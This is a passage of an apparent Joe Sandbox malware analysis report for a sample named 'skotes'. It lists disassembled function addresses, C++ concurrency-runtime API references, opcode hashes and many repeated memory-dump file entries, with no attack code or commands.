Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 715f47d339c03ce9d68f3f66742c7f09caf8e9f20cb26cc9a91549ca349b2470
Instruction ID: 39063cc2f3ee51c0538ac9412ecc8c284ea919e7e67455bb3ac316f7e8585913
Opcode Fuzzy Hash: 715f47d339c03ce9d68f3f66742c7f09caf8e9f20cb26cc9a91549ca349b2470
Instruction Fuzzy Hash: E4817A31D00219DBCF25DFA8E985BAEB7B5BF45310F244529E401EB282DB3CAE45CB91

Function 007B26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007B26E3

Part of subcall function 007B24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007B2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007B2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007B275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 007B27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 007B27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 007B2846

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 34bc7790c5968056db25710d7d4cdc4a9a826e0c933eada0666e23b4fdff83ea
Instruction ID: dc7d73fea3fb55995d778f77b05238de34fdd0feeeab503b517199bc59589f5a
Opcode Fuzzy Hash: 34bc7790c5968056db25710d7d4cdc4a9a826e0c933eada0666e23b4fdff83ea
Instruction Fuzzy Hash: 9581BC30901249EBDF169F54C994BFE7BB2AF56304F040098ED417B263CB3A9D26DB61

Function 007B2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007B2982

Part of subcall function 007B24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007B29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007B29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007B29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 007B2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 007B2AD8

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 8a921db9fb9d858bfdbbe4a72528e9b93950afb211200d01a5ba37dc67042252
Instruction ID: c3cb96aea6ac069a18c58fdca2e54e01d0504b98a9a70bd3d17f4b76bfbe1c5e
Opcode Fuzzy Hash: 8a921db9fb9d858bfdbbe4a72528e9b93950afb211200d01a5ba37dc67042252
Instruction Fuzzy Hash: F571AB70901249AFDF15DF58C885BFEBBB2AF45304F044098EC416B263DB399D16DB61

Function 007A2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007A2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007A28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007A2913

Part of subcall function 007A07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 007A080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007A2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007A29DB

Part of subcall function 007A07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007A07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007A29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007A2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007A2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007A2A7E

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: b749f7e0a9a9d46ef6b3702da46f114651d40d3a275ac8560d8f2e85c6fa03e5
Instruction ID: 95326ce378fd4d7be664dcd3fc7b923542c770cc53fbd7ccc402d15cab80a885
Opcode Fuzzy Hash: b749f7e0a9a9d46ef6b3702da46f114651d40d3a275ac8560d8f2e85c6fa03e5
Instruction Fuzzy Hash: 7F81D471A0159ADBCB18DF6CD8D056DB7B1BF8E314B14822DE845EB242D73C6D42CB94

Function 007A69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007A6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007A6A51
List.LIBCONCRT ref: 007A6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007A6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 007A6AB9
List.LIBCONCRT ref: 007A6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 007A6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007A6B20
List.LIBCONCRT ref: 007A6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007A6B68

Part of subcall function 007A5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007A5EF7
Part of subcall function 007A5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007A5F09

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 3826a8b273af070170710a61db5f3c31324a09c8d3e4a109b900cb51ee49e862
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 5A515371A00209EFDF08DF64C495BED73A8BF89304F158169E915EB241DB78AE44CBD0

Function 007B52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 007B53A0
type_info::operator==.LIBVCRUNTIME ref: 007B53C7
___TypeMatch.LIBVCRUNTIME ref: 007B54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 007B55AE
CallUnexpected.LIBVCRUNTIME ref: 007B5650

Strings

csm, xrefs: 007B534D
csm, xrefs: 007B52E0
csm, xrefs: 007B53FE

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
